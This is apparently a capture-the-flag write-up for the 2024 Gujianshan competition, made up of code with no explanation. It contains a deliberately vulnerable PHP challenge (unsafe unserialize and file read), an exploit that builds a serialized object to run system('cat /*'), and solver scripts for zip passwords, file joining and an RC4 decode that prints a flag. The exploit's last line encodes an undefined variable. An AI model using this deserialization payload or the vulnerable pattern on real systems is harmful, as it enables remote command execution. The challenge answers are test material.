2024古剑山WP

<?php

error_reporting(0);

class pop
{
    public $aaa;
    public static $bbb = false;

    public function __wakeup()
    {
        // PHP 5.4
        throw new Exception("You're banned to serialize pop!");    
    }

    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}


if (isset($_GET["code"])) {
    unserialize(base64_decode($_GET["code"]));
} elseif (isset($_GET["f"])) {
    if(is_string($_GET["f"]) === false){
        echo "The f param must be string";
        exit();
    }
    $user_f = $_GET["f"];
    $regex = "/[ <>?!@#$%&*()+=|\\-\\\\}{:\";'~`,\\/]/";
    if(preg_match($regex, $user_f)){
        echo "The ".$user_f." has been detected by regular expression: ".$regex;
        exit();
    }
    echo file_get_contents($user_f);
}else{
    echo "<a href='/index.php?f=secret'>show me secret!</a>";
}

<?php

error_reporting(0);

class pop
{
    public $aaa;
    public static $bbb = true;

    public function __wakeup()
    {
        // PHP 5.4
        throw new Exception("You're banned to serialize pop!");
    }

    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}

$var = new pop();
$var->aaa[1] = "system";
$var->aaa[2] = "cat /*";
$var->aaa["object"]="phpinfo";
echo base64_encode(serialize($a));

import pyzipper
import os

# 配置文件夹路径
source_folder = r"C:\Users\15747\AppData\Local\Temp\MicrosoftEdgeDownloads\aa788e29-bd40-41e0-b408-0e2393c58c47\069db7f5cb3f400ba9a1eef0ebb78390"
destination_folder = r"C:\Users\15747\AppData\Local\Temp\MicrosoftEdgeDownloads\aa788e29-bd40-41e0-b408-0e2393c58c47\1"


# 解压并处理每个 ZIP 文件
def extract_zip_files(source_folder, destination_folder):
    for file_index in range(1, 183):  # 从 1 到 182 的 zip 文件
        zip_file_path = os.path.join(source_folder, f'{file_index}.zip')
        password = f'1{file_index:04d}'  # 根据文件索引生成密码，如 10001, 10002, ..., 10182

        print(f"处理文件 {zip_file_path} 使用密码 {password}")

        try:
            # 使用 pyzipper 打开并解压文件
            with pyzipper.AESZipFile(zip_file_path) as zip_file:
                zip_file.setpassword(password.encode())  # 设置密码
                zip_file.extractall(destination_folder)  # 解压到目标文件夹
            print(f"解压成功: {zip_file_path}")

        except Exception as e:
            print(f"解压失败: {zip_file_path}, 错误: {e}")


# 调用函数进行解压操作
extract_zip_files(source_folder, destination_folder)

import os

# 配置文件夹路径
source_folder = r"E:\Documents\WeChat Files\wxid_z1ez13mhhho722\FileStorage\File\2024-11\ouy"
output_file_path = r"E:\Documents\WeChat Files\wxid_z1ez13mhhho722\FileStorage\File\2024-11\ouy\1.png"

# 函数：生成从 'aa' 到 'gz' 的文件名列表
def generate_file_names():
    file_names = []
    for first_char in range(26):  # A-Z
        for second_char in range(26):  # A-Z
            # 生成文件名，如 'saa', 'sab', ..., 'sgz'
            file_names.append(f's{chr(97 + first_char)}{chr(97 + second_char)}.png')
    return file_names

# 获取所有需要拼接的文件名
file_names_to_concatenate = generate_file_names()

# 拼接文件（以二进制模式）
def concatenate_files(file_names, source_folder, output_file_path):
    with open(output_file_path, 'wb') as output_file:
        for file_name in file_names:
            file_path = os.path.join(source_folder, file_name)
            try:
                # 以二进制模式打开每个文件并将其内容写入输出文件
                with open(file_path, 'rb') as file_to_concatenate:
                    output_file.write(file_to_concatenate.read())  # 写入文件内容
                print(f'{file_name} 拼接成功')
            except Exception as e:
                print(f'拼接 {file_name} 时出错: {e}')

# 调用函数进行文件拼接
concatenate_files(file_names_to_concatenate, source_folder, output_file_path)

import base64
from Crypto.Cipher import ARC4

table1 = "NF01ihUKST9q3lnjEBs47k2w5ad+AVHfPezg/CDyxrMLR6GvomIQJOXcpW8ZbutY="
table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
data = [
    -24, -24, -60, -54, -95, -46, -45, -3, -96, -96, -63, -7,
    -87, -40, -3, -22, -36, -47, -32, -62, -59, -88, -90, -31,
    -24, -45, -9, -43, -91, -60, -13, -40, -55, -95, -34, -46,
    -27, -25, -33, -9, -32, -40, -32, -41
]
result = []
for x in data:
    result.append((x & 0xFF) ^ 0x90)
c = bytes(result)
c = c.decode()
print(c)
translation_table = str.maketrans(table1, table2)
transformed = c.translate(translation_table)
decoded_flag = base64.b64decode(transformed)
key = b"SimpleKeyHere"
key_bytes = []
for x in key:
    key_bytes.append(x ^ 0xA5)
key_bytes = bytes(key_bytes)
cipher = ARC4.new(key_bytes)
flag = cipher.decrypt(decoded_flag)
print(flag)
b'flag{45_4_105_r3v3r51n6_b361nn3r}'